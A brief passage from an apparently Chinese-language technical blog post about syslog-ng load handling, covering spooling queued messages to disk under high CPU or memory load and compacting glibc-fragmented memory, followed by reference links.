4. 當CPU、記憶體負載到達一個閥值上限的時候,将queue中的消息全部暫存到磁盤上暫存起來,然後繼續運作,等到CPU、記憶體負載下降後,再将緩存臨時檔案緩慢發出去
5. 當發生記憶體飙高的情況時,進行記憶體整理,因為glibc的記憶體配置設定和管理會配置設定很多碎片記憶體,并且回收後的記憶體并未标記為"can use",導緻記憶體出現飙高的現象      
https://lists.balabit.hu/pipermail/syslog-ng/2010-October/015014.html
http://www.suse.url.tw/syslog-ng.pdf
http://tsecer.blog.163.com/blog/static/15018172012615114243736/
http://answers.splunk.com/answers/42645/log-dropping-in-syslog-ng.html       

Copyright (c) 2014 LittleHann All rights reserved